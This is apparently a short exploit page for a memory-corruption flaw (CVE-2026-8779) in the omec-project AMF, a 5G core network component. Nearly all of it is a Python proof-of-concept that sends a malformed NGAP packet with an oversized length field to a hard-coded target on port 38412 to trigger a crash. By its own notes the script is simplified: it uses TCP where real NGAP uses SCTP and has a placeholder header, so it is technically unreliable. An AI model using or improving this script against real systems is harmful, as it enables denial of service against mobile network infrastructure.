CVE-2026-8779 omec-project amf内存损坏漏洞

import socket import struct # Conceptual PoC for CVE-2026-8779 # Description: Sends a malformed packet to trigger InformationElement parsing issue in NGSetupRequest. # Note: This is a simplified demonstration. Real NGAP traffic runs over SCTP. TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Example AMF port def create_malformed_packet(): # Simulating an NGAP PDU with a crafted InformationElement length # that triggers the memory corruption in ngap/handler.go # Header placeholder (simplified) header = b"\x00\x00\x00\x01" # Malformed InformationElement length field (e.g., extremely large value) # causing buffer overflow or allocation failure bad_length = struct.pack('>I', 0xFFFFFFFF) # Padding or payload content payload = b"\x41" * 50 return header + bad_length + payload def send_exploit(): try: print(f"[*] Sending exploit to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) packet = create_malformed_packet() s.send(packet) print("[+] Packet sent. Check target for crash/memory corruption.") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_exploit()